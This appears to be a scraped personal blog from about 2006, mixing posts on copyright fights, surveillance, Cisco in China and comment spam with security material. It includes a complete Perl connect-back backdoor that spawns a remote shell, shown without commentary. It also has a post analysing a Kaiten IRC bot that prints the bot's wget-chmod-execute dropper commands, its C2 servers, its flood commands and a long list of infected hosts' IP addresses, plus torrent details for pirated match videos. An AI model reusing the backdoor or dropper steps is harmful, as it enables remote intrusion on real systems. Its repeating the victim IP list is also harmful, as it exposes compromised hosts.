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World Cup posturing

One of the BBC UK Radio shows about the world of football went off the air due to “licensing issues” but will be back on “after the tournament ends”. The rights to images and video certainly belong to the respective copyright holders however the online distribution of the games seems to work better using “pirate” methods. A quick check on the more notorious sites shows this information:

1.37 GiB (1468059648 bytes)
f76e5e05636af4a317633997e3ad4a60a111bf31
http://tracker.prq.to/announce
WorldCup2006-06-19_Brasil_v_Australia.cd2.avi
WorldCup2006-06-19_Brasil_v_Australia.cd1.avi

The Way Things Ought To Be

I was browsing for information on the comic “Bound By Law” when I realized that the most relevant page was, in my narrow definition, the way the web was meant to be. The orginal collaborative nature derived from acadamia would provide the most reliable records in the most accessible format on a ubiquitous network.

The page listed a brief abstract of the conversation, provided a link to an mp3 archive of the show, an email link to ask questions and links to other relevant places related to the radio stations web space. Did I mention advertising? Of course not, because in the perfect web there would be no advertising.

Identity Mashup: Questions from the floor

Is the greatest risk of personal identity abuse from
1) the US government
2) corporations
3) foreign individuals who are not afraid of the US legal system

Data Cha0s Connect Back Backdoor

#!/usr/bin/perl
use Socket;
print "Data Cha0s Connect Back Backdoor\n\n";
if (!$ARGV[0]) {
  printf "Usage: $0 [Host] \n";
  exit(1);
}
print "[*] Dumping Arguments\n";
$host = $ARGV[0];
$port = 80;
if ($ARGV[1]) {
  $port = $ARGV[1];
}
print "[*] Connecting...\n";
$proto = getprotobyname('tcp') || die("Unknown Protocol\n");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
  die("Unable to Connect\n");
}
print "[*] Spawning Shell\n";
if (!fork( )) {
  open(STDIN,">&SERVER");
  open(STDOUT,">&SERVER");
  open(STDERR,">&SERVER");
  exec {'/bin/sh'} '-bash' . "" x 4;
  exit(0);
}
print "[*] Datached\n\n";

HOPE

HOPE Number Six

More attacks on my web server [Elf Kaiten.AQ]

the same as the last one which was based on Mambo (open source CMS). This time I was able to pull the files down in time.
EDIT: More information here
documented by enkrypted

UPDATE: Secunia reports this as Elf Kaiten.AQ
TrendMicro reports the trojan but the statistics are horribly wrong. Just the channel I’m monitoring alone has seen hundreads of infections via Mambo

wget 72.18.195.161/lnikon

This leads to a small script which executes the following:
cd /tmp
mkdir .font-jix
cd .font-jix
wget 72.18.195.161/linux-kernel
chmod +x linux-kernel
./linux-kernel
cd /tmp
cd .font-jix
wget 72.18.195.161/linux-mkdir
chmod +x linux-mkdir
./linux-mkdir

I won’t paste the strings results from the files here but sufficed to say it’s headed towards an irc server. I did find these servers listed:
67.43.234.119
 irc.newchrousty.org
 Sympatico.Qc.Ca.NewChrousty.org
 Trois-Rivieres.Qc.Ca.NewChrousty.org
 Chat.NewChrousty.Org
 Micro-ISP.NewChrousty.Org
 LaLiPuS.NewChrousty.Org

Some other interesting strings:
NOTICE %s :PAN
NOTICE %s :Panning %s.
NOTICE %s :TSUNAMI
NOTICE %s :Tsunami heading for %s.
NOTICE %s :What kind of subnet address is that? Do something like: 169.40
NOTICE %s :TSUNAMI = Special packeter that wont be blocked by most firewalls
NOTICE %s :PAN = An advanced syn flooder that will kill most network drivers
NOTICE %s :UDP = A udp flooder
NOTICE %s :UNKNOWN = Another non-spoof udp flooder
NOTICE %s :NICK = Changes the nick of the client
NOTICE %s :SERVER = Changes servers
NOTICE %s :GETSPOOFS = Gets the current spoofing
NOTICE %s :SPOOFS = Changes spoofing to a subnet
NOTICE %s :DISABLE = Disables all packeting from this client
NOTICE %s :ENABLE = Enables all packeting from this client
NOTICE %s :KILL = Kills the client
NOTICE %s :GET = Downloads a file off the web and saves it onto the hd
NOTICE %s :VERSION = Requests version of client
NOTICE %s :KILLALL = Kills all current packeting
NOTICE %s :HELP = Displays this
NOTICE %s :IRC = Sends this command to the server
NOTICE %s :SH = Executes a command

UPDATE: Everything goes to a channel called #mambolizo with password ‘leet’
Here is a sample of infected IP’s

#mambolizo AUSTI H ~KVDJQ@81.192.114.78 (ZVYRRUU)
#mambolizo AXEUGVS H ~RUSC@80.71.219.42 (NUVQT)
#mambolizo AZBCPAT H ~QTBQJGAH@217.126.24.185 (LVNVG)
#mambolizo Aarh H ~discern@63.89.31.130 (silenc)
#mambolizo Aarhu H ~sett@63.89.31.130 (chef)
#mambolizo Aarhus H ~psych@63.89.31.130 (Aarhus)
#mambolizo BDMIO H ~EHKFTIRL@81.15.157.171 (DJVB)
#mambolizo BEUKTL H ~WCBJMEWJ@81.223.209.211 (EHTSVU)
#mambolizo BFFENJ H ~HZTMPV@217.157.235.41 (KWTE)
#mambolizo BFJEK H ~TFPS@213.55.30.241 (AZOSUKK)
#mambolizo BGYUO H ~QLOJD@193.157.66.96 (HJCRMV)
#mambolizo BLFDWBC H ~IGNYV@69.60.124.43 (UIQP)
#mambolizo BLMWK H ~PFWTCHIQ@202.155.6.237 (LAZYZN)
#mambolizo BMJQF H  network at 68.51.46.205 (UNSRD)
#mambolizo BPIJ H ~AWWLXM@202.83.174.36 (PMTFK)
#mambolizo BPPTPSN H ~ALCTDEWH@85.17.6.163 (YXQDAYQ)
#mambolizo BUXL H ~FBGNOOO@68.189.182.37 (VCGZ)
#mambolizo BXXMOK H ~ZBDKNNE@202.129.46.90 (GSWTDH)
#mambolizo CAHI H ~MTCSU@129.105.249.208 (JMLZ)
#mambolizo CAIZFQV H ~QPRM@82.165.177.236 (FODPLD)
#mambolizo CBZYU H ~AFBZKZ@85.20.35.66 (PFBBQXJR)
#mambolizo CCMLG H ~QSZKPUD@194.106.17.163 (DGLJLZD)
#mambolizo CCQPE H ~RELLEXA@61.220.191.21 (NTLI)
#mambolizo CCQRYBDM H ~FGHQRKAZ@24.63.215.68 (KFYBYOPR)
#mambolizo CDDDJBKB H ~DHXFP@201.217.215.66 (SWCVII)
#mambolizo CFGXYWV H ~THCRIR@85.124.118.43 (GFDWO)
#mambolizo CHABLA H ~XFGRR@193.157.66.96 (JDXK)
#mambolizo CHDQT H ~YUVWLSI@62.90.45.58 (BVLS)
#mambolizo CIUKSB H ~IGYF@207.170.12.72 (WUJHUJSG)
#mambolizo CLOAVSF H ~KPILEJS@213.55.30.241 (FPTVTLKI)
#mambolizo CLSA H ~ARZIVGWJ@24.63.215.68 (XXPG)
#mambolizo CTEM H ~VCDHTEE@130.234.7.72 (HKHTFIA)
#mambolizo CUKXSY H ~SDZLBNG@193.95.249.225 (JLGZS)
#mambolizo CUPKX H ~SIIEQCX@201.224.164.91 (LLVKOKO)
#mambolizo CWYKTNJ H ~QVPP@61.178.85.114 (BXUPLXM)
#mambolizo CXOWBXKI H ~ZJPVHC@213.55.30.241 (QZJP)
#mambolizo CZZPVI H ~JMCL@68.143.64.178 (HFQWJH)
#mambolizo DANMLPKU H ~JMGVKQ@61.220.191.9 (WGCJWERN)
#mambolizo DATECLLS H  www-data at 217.126.49.173 (XQHI)
#mambolizo DBBHZ H ~NTUT@203.55.23.51 (FTOMOL)
#mambolizo DIJZMBU H ~RECI@196.209.16.57 (KJTY)
#mambolizo DIKOUW H ~WVRFYL@24.28.88.134 (VKVLXCSJ)
#mambolizo DLIWY H  www-data at 62.94.123.42 (QPZN)
#mambolizo DOWC H ~ZVJL@213.55.30.241 (OPKSJ)
#mambolizo DRKGEP H ~QRYV@69.40.247.160 (RAEGOPKP)
#mambolizo DYFTYUG H ~GGDRNI@213.225.48.85 (GBVJOKOF)
#mambolizo DYZDB H ~CNLNG@193.157.66.96 (GDVKBW)
#mambolizo DZFZOVII H ~VSHPVG@84.170.216.17 (JHXUMND)
#mambolizo DZRU H ~JXCHPQX@202.143.173.83 (JRIRFKAJ)
#mambolizo EAISZOUV H  hidden-use at 163.21.50.253 (ZWQPAHN)
#mambolizo EARBYA H ~DEIF@130.13.141.109 (EIRJLAMR)
#mambolizo EARBYG H ~TPRULQW@213.243.33.117 (XJDI)
#mambolizo EGTE H ~RWBHQPDH@218.226.219.50 (LNIK)
#mambolizo ELTKP H ~ZEDEQK@83.30.227.15 (NNUKQM)
#mambolizo EMJD H ~BPLL@83.133.81.92 (FIARDNC)
#mambolizo EQBPZKH H ~JELWXQG@67.161.213.233 (HYDRCKDU)
#mambolizo EQPL H ~JJXJ@202.143.101.131 (DNHJQW)
#mambolizo FCWJE H ~JQLN@203.172.129.2 (VNSFD)
#mambolizo FGPBYTK H ~YJOKZQ@203.55.23.201 (PIKEA)
#mambolizo FGPBYTK H ~YJOKZQ@203.55.23.51 (PIKEA)
#mambolizo FKTN H ~FENLCJWQ@194.106.17.163 (FQWXA)
#mambolizo FPQXF H ~KOGHXI@81.223.209.211 (HMDH)
#mambolizo FUDJ H ~LDKVXAK@208.200.133.2 (GCDVMC)
#mambolizo GDBUUEX H ~VKOK@217.149.127.14 (FHFKBT)
#mambolizo GDBYKPKT H ~FCVFJCOB@69.60.124.43 (LGITHJ)
#mambolizo GDZJWT H ~OVFVDTWX@84.57.40.96 (YFXKHJ)
#mambolizo GEQNJVP H ~LILIWKOF@213.243.33.117 (EGMHFA)
#mambolizo GGCBZ H ~AOLZC@140.113.214.180 (CWAB)
#mambolizo GJATO H ~QSEK@82.151.192.61 (AGQPV)
#mambolizo GKHJX H ~WFXYXSI@201.135.134.24 (CTYSG)
#mambolizo GLUGHMP H ~LTDVBWSE@130.94.124.180 (FBWJ)
#mambolizo GOTTSJXC H ~MICTUNNR@61.183.207.183 (NFPBHG)
#mambolizo GUAOBGG H ~MKVQSWY@147.123.155.1 (CMSRZ)
#mambolizo GUYW H ~PAGXEM@67.53.244.228 (XTIN)
#mambolizo GXVAAI H ~VMPX@81.185.145.216 (AVTYXUBA)
#mambolizo GZHEFEG H ~LMVQXFJF@61.183.207.183 (NUNDDSEG)
#mambolizo HAZBZF H ~TSPKOA@202.51.31.246 (IQIKO)
#mambolizo HFPSGS H ~BZMUKKGZ@66.77.26.70 (GLKAKIC)
#mambolizo HYHHWVZ H ~PJBGTB@151.42.226.237 (YASI)
#mambolizo IAMARBMY H ~XTEKZPG@210.173.173.29 (XJNJIYOD)
#mambolizo ICIPEYX H ~PVEBNWFZ@217.126.233.168 (ABUTYCLZ)
#mambolizo ICJQTBW H ~LAKULZNH@206.248.136.95 (AXTOOZY)
#mambolizo IJBTV H ~COZRLFS@83.18.171.82 (ISALRYV)
#mambolizo IKJAJ H ~DPGY@201.102.71.14 (CAJMCB)
#mambolizo IOUEJS H ~PKVY@201.135.134.24 (FEGH)
#mambolizo IVOCSE H ~QPLT@82.149.166.130 (JZWLWXG)
#mambolizo IWJCB H ~TFDKHNL@81.235.163.148 (TWNSMVC)
#mambolizo JFKDMPW H ~PRWEH@149.156.5.206 (TLUWXDR)
#mambolizo JGQCU H ~YYMEHSAP@217.194.97.70 (SZEJFKNQ)
#mambolizo JSUVEF H ~XWCUGCY@83.18.171.82 (TYOVFQH)
#mambolizo JTGX H ~WRTL@65.75.138.190 (RNFX)
#mambolizo KAJXDC H ~XUPPT@213.169.62.179 (TWSP)
#mambolizo KARLYLG H ~OXHGW@69.60.124.43 (AHQJPJB)
#mambolizo KEMP H ~FDCL@80.32.194.218 (RYXZDOFZ)
#mambolizo KENLHRT H ~SKGU@219.117.251.138 (MFXC)
#mambolizo KJUFOM H ~ZCNFYM@82.226.252.2 (FQCMBT)
#mambolizo KNMH H ~UCSYGE@203.125.140.52 (NXOSOEM)
#mambolizo KOZPTXL H ~LQROMHV@209.200.14.230 (PZNP)
#mambolizo KUBVHXA H ~RVOKD@202.155.108.36 (OOCQBL)
#mambolizo KVNE H ~FYZCCF@69.159.203.110 (XTCRZ)
#mambolizo LCVNCLWI H ~CYCBXJM@203.219.147.14 (PSCRO)
#mambolizo LJBNJPR H ~YYFQIM@194.106.17.163 (ORKU)
#mambolizo LKQOBCR H ~UFCAXS@83.109.10.152 (FDQXQ)
#mambolizo LMXMHIL H ~PAMUKHBU@84.157.157.8 (DRTX)
#mambolizo LUMI H ~DUSGPLUQ@61.178.85.114 (XLCDPC)
#mambolizo LWNPI H ~XKDFDUFZ@83.133.81.92 (VBUPE)
#mambolizo MDSZWP H ~KOFUXKDT@64.146.134.133 (AMLM)
#mambolizo MNJVN H ~KPPEKY@65.204.137.200 (FRTRJRX)
#mambolizo MNLTYGNB H ~DZOEL@85.53.64.206 (IMQTC)
#mambolizo MQOFNW H ~GZGC@66.77.26.70 (RVBZQMCR)
#mambolizo MSQQKO H ~GZVTAMV@209.200.14.230 (XZXWNV)
#mambolizo MUVF H ~RAPR@202.172.54.61 (KCMSZSAP)
#mambolizo NDVC H ~IDIY@207.225.61.10 (AERF)
#mambolizo NFRC H ~JZBF@80.34.96.60 (BVFMEPT)
#mambolizo NHGZ H ~HSOOIPV@195.117.103.58 (HARGJ)
#mambolizo NNCXJJUD H ~ULST@81.241.202.21 (FLDSMSFH)
#mambolizo NOBMQ H ~GMHFK@69.64.49.62 (PWPRV)
#mambolizo NQQG H ~NOUP@66.77.26.70 (LMYTO)
#mambolizo NQUUBED H ~SSTLZW@81.223.209.211 (RGAOYT)
#mambolizo NSFCMC H ~EMVAI@203.55.23.201 (VHGIDT)
#mambolizo NSFCMC H ~EMVAI@203.55.23.51 (VHGIDT)
#mambolizo OHIJSLD H ~RKFDPEQ@217.194.97.70 (XDZP)
#mambolizo OKMBMPZH H ~CGYYJU@213.55.30.241 (EJPRHUP)
#mambolizo OOZGM H ~RMWD@84.87.219.36 (UMRTUVJ)
#mambolizo OQBIPNE H ~FRBI@12.36.175.159 (HLNUXRE)
#mambolizo OSUFFLN H ~CDWR@81.57.87.84 (SSFILJM)
#mambolizo OWWX H ~PYSCZ@66.160.135.87 (SEEG)
#mambolizo OXBQOHG H ~ESDIGP@195.117.179.10 (IRMB)
#mambolizo OYXU H ~RLCKXFI@193.170.41.50 (VYBMH)
#mambolizo OZAW H ~EEARLYDZ@194.144.126.233 (GFQVEZ)
#mambolizo PESOQIV H ~QBETMCB@82.236.226.54 (VFPMBQRE)
#mambolizo PFJOZ H ~ZLPNODPB@141.21.7.60 (VDIW)
#mambolizo PFVHK H ~PFGR@217.206.217.199 (XXIO)
#mambolizo PHQWJN H ~SSNITPJ@203.55.23.201 (KOZVB)
#mambolizo PVZB H ~EHDJJNT@82.226.118.139 (KRMNB)
#mambolizo PZAHGJI H ~MDVPQJV@202.143.173.83 (BYTLFC)
#mambolizo QBUITDX H ~DZOEL@85.53.64.206 (IMQTC)
#mambolizo QDCNYMS H ~HFXJM@64.242.180.2 (JSNAOR)
#mambolizo QNHPC H  www-data at 149.156.124.6 (GWTJQULB)
#mambolizo QUENMWN H ~BFKTK@24.31.6.188 (MQQV)
#mambolizo QYUEMXD H ~TAIK@213.54.172.75 (YSZEWBU)
#mambolizo QYUEMXD H ~TAIK@85.212.30.189 (YSZEWBU)
#mambolizo RAOBFQ H ~SBYWMC@61.7.147.47 (YPVFVERO)
#mambolizo RBOVLKIT H ~ZKGEC@81.209.59.194 (HKEXGZ)
#mambolizo RBXWI H ~OPVPGPU@217.170.13.48 (VPWRI)
#mambolizo RCPQMAKE H ~EEGGOQ@213.228.166.47 (BAFQV)
#mambolizo RDHFDU H ~ITBNE@82.155.145.235 (XYKWRWKZ)
#mambolizo RGDFZTMA H ~ZVZKTVVL@64.76.81.153 (FCQZ)
#mambolizo RJOWRVQB H ~NBJH@193.68.47.28 (ONOFS)
#mambolizo RMOSO H ~QOVPYK@201.17.175.51 (MHRRMUB)
#mambolizo ROWA H ~WJNHEAIZ@130.94.124.180 (CSETK)
#mambolizo RQYEFCO H ~PRGHXC@80.32.194.218 (XFBCC)
#mambolizo RSYGMGNZ H ~PUAQLO@193.40.142.254 (GUAD)
#mambolizo RUJG H ~ACVZ@68.189.182.37 (FLTABBA)
#mambolizo RXBV H ~MZUW@217.227.216.244 (AFVWDV)
#mambolizo RXBV H ~MZUW@217.227.226.182 (AFVWDV)
#mambolizo RZYDFBT H ~SGEOXUL@217.170.13.48 (NOPBQH)
#mambolizo SAURG H ~FDKKWST@193.170.41.50 (VHKN)
#mambolizo SBUXGR H ~AOLZC@140.113.214.180 (CWAB)
#mambolizo SCLT H ~TIQCMYV@217.206.217.199 (KHXRV)
#mambolizo SDXL H ~YMJVN@194.210.98.160 (XMCLL)
#mambolizo SEVRKJE H ~DNPT@83.28.39.209 (CUUPNS)
#mambolizo SEXWCEP H ~CRZBRIS@194.242.112.72 (EFUV)
#mambolizo SGLVRMEC H  hidden-use at 163.21.50.253 (RJLCLPZH)
#mambolizo SHDEMF H ~ODWMB@217.194.97.70 (YBMJJ)
#mambolizo SKAZE H ~EPCVZOKX@218.208.118.66 (SALC)
#mambolizo SKFIJTQ H ~VQFM@217.194.97.70 (QTXSSIWL)
#mambolizo SLBV H ~UDCWYGU@141.21.7.60 (NWESN)
#mambolizo SNJJRJNW H ~AYMTX@84.157.129.23 (GEDSORSY)
#mambolizo SNJJRJNW H ~AYMTX@84.157.197.113 (GEDSORSY)
#mambolizo SNUK H ~KTACK@209.200.14.230 (RYCBPV)
#mambolizo SPDR H ~GJOTW@209.172.33.199 (BZSAJMBC)
#mambolizo SSCDAPCS H ~FBBCYTAU@61.178.85.114 (VHALHLC)
#mambolizo SSQGHMH H ~VJVO@87.78.22.107 (MIPBN)
#mambolizo SSSZEAD H ~VAHAR@213.225.48.85 (YEAQJL)
#mambolizo TCJJXJ H ~TFPS@62.217.143.90 (AZOSUKK)
#mambolizo TCJS H ~PIHOXNG@196.28.49.199 (JXUMUDP)
#mambolizo TDMVTPAQ H ~MXRRVGGE@82.165.37.165 (BARPIQB)
#mambolizo TDUQZKXN H ~XAPAFYDJ@209.216.245.146 (PVOOD)
#mambolizo TEYTUIAP H ~YVFF@81.190.195.44 (EVLVIVRP)
#mambolizo TFNX H ~RSQPBS@82.151.192.61 (RSKLC)
#mambolizo THAQRBF H ~PQXZMFG@84.157.157.8 (OSXP)
#mambolizo TKFWFFW H ~GOPC@147.123.155.1 (MVQNLUW)
#mambolizo TKRKMOWV H ~AMFVAX@213.55.30.241 (CRJO)
#mambolizo TMEAMDQ H ~NTBMC@201.252.133.28 (EOVXNYS)
#mambolizo TMKUCU H ~MDAPF@202.143.162.98 (DUQANROU)
#mambolizo TOFQVCBJ H ~ZSKUYBYN@84.149.127.173 (YMUPV)
#mambolizo TOFQVCBJ H ~ZSKUYBYN@84.149.95.234 (YMUPV)
#mambolizo TPMIJD H ~YGUFM@130.94.124.180 (IBVJLDOI)
#mambolizo TRBTSS H ~AHMT@84.19.188.50 (FHTYM)
#mambolizo TROPYYWG H ~NZWO@203.55.23.201 (ABATV)
#mambolizo TUCJQB H ~PQZWTXZ@83.18.171.82 (EGVFI)
#mambolizo TXJRS H ~AGFHDY@67.161.213.233 (KYDT)
#mambolizo UBAG H ~MIKSLQWA@69.56.145.164 (IYUL)
#mambolizo UDEBAS H ~BFWLLE@217.157.235.41 (EOJDZU)
#mambolizo UGMNX H ~PVJKLW@203.55.23.201 (ANWOSOAK)
#mambolizo UGMNX H ~PVJKLW@203.55.23.51 (ANWOSOAK)
#mambolizo ULOV H ~PJOHXM@64.8.101.98 (IHFAMPE)
#mambolizo UMBAVBD H ~PULOQIE@201.135.134.24 (VYDWNXFO)
#mambolizo UPJREYD H ~WQUG@203.214.54.20 (ELEWRN)
#mambolizo UVPTWOUH H ~DZWC@147.102.101.91 (ESVQ)
#mambolizo VAZY H ~QPXYKO@203.55.23.51 (GMAIMGYH)
#mambolizo VDWD H ~CXRCMW@68.18.93.131 (MSOZRSR)
#mambolizo VEMQW H ~OGAZRKS@130.94.124.180 (FMALIBDI)
#mambolizo VFKRTQK H ~CPUYPZV@69.40.247.160 (BWFQ)
#mambolizo VKYPGN H ~RVTRABT@193.157.66.96 (JFVEWAPY)
#mambolizo VNPE H ~TFTH@213.55.30.241 (CFXTI)
#mambolizo VVPGC H ~VPGL@82.151.199.57 (SEDXUJTO)
#mambolizo VYPUVJJ H  apache at 148.244.169.141 (BCTF)
#mambolizo VZBQBK H ~DMZJJKEN@69.196.142.78 (DYPMFCGI)
#mambolizo WEANO H ~PCXCXWEG@83.18.171.82 (CWNVDO)
#mambolizo WKFJYXMW H ~WWBB@212.98.165.220 (HQSKN)
#mambolizo WQYEGXY H ~TIUSRLG@83.133.81.92 (KXCFM)
#mambolizo WSIJLO H ~BIXU@130.94.124.180 (YCUQQHZ)
#mambolizo WTPDHZ H ~PUSWTV@69.60.124.43 (TJVPZCLQ)
#mambolizo WVEAKNI H ~PRHBM@204.1.16.2 (ZIJALNH)
#mambolizo WVHQX H ~PZGUAAQD@82.236.226.54 (JFOOWP)
#mambolizo WZHSWZE H ~VWSBA@24.31.6.188 (DWXDOXF)
#mambolizo XACGE H ~PVKI@213.60.56.216 (JTDEML)
#mambolizo XBCYE H ~JSBRQ@193.157.66.96 (CQXQY)
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Missed Event: Data Surveillance and Privacy Protection


“There has been little discussion of methods and technologies for conducting data surveillance while respecting privacy and preserving civil liberties.”
Seem ironic to anyone else? To be fair the CRCS is looking to understand the far more pervasive surveillance infrastructure [being] created around us: the routine use of database information for law enforcement, counter-terrorism, and commercial markets.”

The speakers were very impressive including a former TIA director and author James Bamford (wrote several fantastic books on the NSA). Lately I’ve wondered why it is we are not in control of our own information. I should “own” all my personal data and when a company sells it to another company without my permission there should be accountability. If nothing else we should be able to whine (and prosecute) like the media cartels do with their property.

Legal WTF? Transmission of works

A few friends have told me about Allofmp3.com and a few swear by the site. I would possibly join in the fun (the price for a song ~$0.10 is where I actually value digital media files) but from my weak legal (self) training I think it’s a bad idea to pretend these are legitimate purchases. In other words I wouldn’t try to sell my MP3 collection, purchased from allofmp3.com, to someone on eBay. RIAA would come a knockin’ at my door with a lot of angry looking documents is my bet.
It would appear that I’m not the only one to think that. US based media cartel RIAA has brought in US Trade Representatives Office and, according to a CNN article, hints at denying WTO ascendance! Talk about clout.
So the legal WTF I have is based on this quote from the article:

According to IFPI’s lawyers, agencies such as ROMS [Russian Multimedia and Internet Society] do not need to seek permission from rightholders if they are licensing the broadcasting, performance or transmission of works by cable — but they do if it concerns their sale over the Internet.

Wait, wait, wait. I thought in the US RIAA was trying to say that it IS a transmission over cable… Is there some difference the court is making now regarding what is a cable? At the very least I think Russian law leaves way more room for interpretation and should require that all of these quaint differences are ironed out before shutting down the site.
Whether or not we [Americans] are accessing the site is a different matter all together.

In other news, a pdf was produced by MPAA with a topology of the “underground pirates” (cue scary sounds.. something pirate like)
 http://www.mpaa.org/press_releases/pyram…
I think the “Suppliers” is grouped wrongly. Those who are replicating large amounts of pirated hard copies (physical discs) are not really connected to those who distribute to topsites. In fact most of the topsite operators hate/shun/avoid/flog those who would be motivated by profit (which in the case of producing hard copies requires a profit model). It’s little violations of truth like this, or one could assume it is ignorance on the part of MPAA, that end up making so many angry. I understand going after the millions of illegal copies produced in China (and Russia) but what sickens many is the unfair lumping of these two types of pirates.
The other really irritating add on here is “facilitators”. One could literally include Google in this catagory and in fact should. Search engines, regardless of content, should never ever be illegal. If the MPAA wants to use the search engine to go after violators I understand. That’s just part of the game. Shutting down search engines because people have used it to find infringing material is unjust. And I mean unjust in that Rawlsian fashion here. I’m somewhat suprised MPAA didn’t use the RIAA word inducer.

Amnesty International v. Cisco

From the blog of Ronald J. Deibert:
 http://deibert.citizenlab.org/blog/_arch…

I think this particular passage was very very interesting.

RD: I know that Chinese authorities use Cisco routing technology because Cisco themselves say that they do. Cisco does not deny that its technology is being used, as evidenced by the testimony to US Congress of Mark Chandler, Senior Vice President and General Counsel of CiscoSystems. You can read it yourself here:

 http://wwwa.house.gov/international_rela…

ZDNET: 2. Does Cisco configure the routers for the Chinese, or actively help to block access to the Internet? Does Cisco supply any other kind of service to the authorities?

RD: In the same testimony as noted above, Mr. Chandler says:

“Cisco does not customize, or develop specialized or unique filtering
capabilities, in order to enable different regimes to block access to information…”

However, this is contradicted by the testimony of Ethan Gutman, which you can find here:

 http://wwwa.house.gov/international_rela…

Anti Comment and Trackback Spam Service

Some interesting work here although I really would like to test it first. The problem of spam in general sucks but comment (and trackback) spam sucks AND doesn’t have many solutions out there. I’ve been developing a few of my own so I will keep and eye on how this company progresses.


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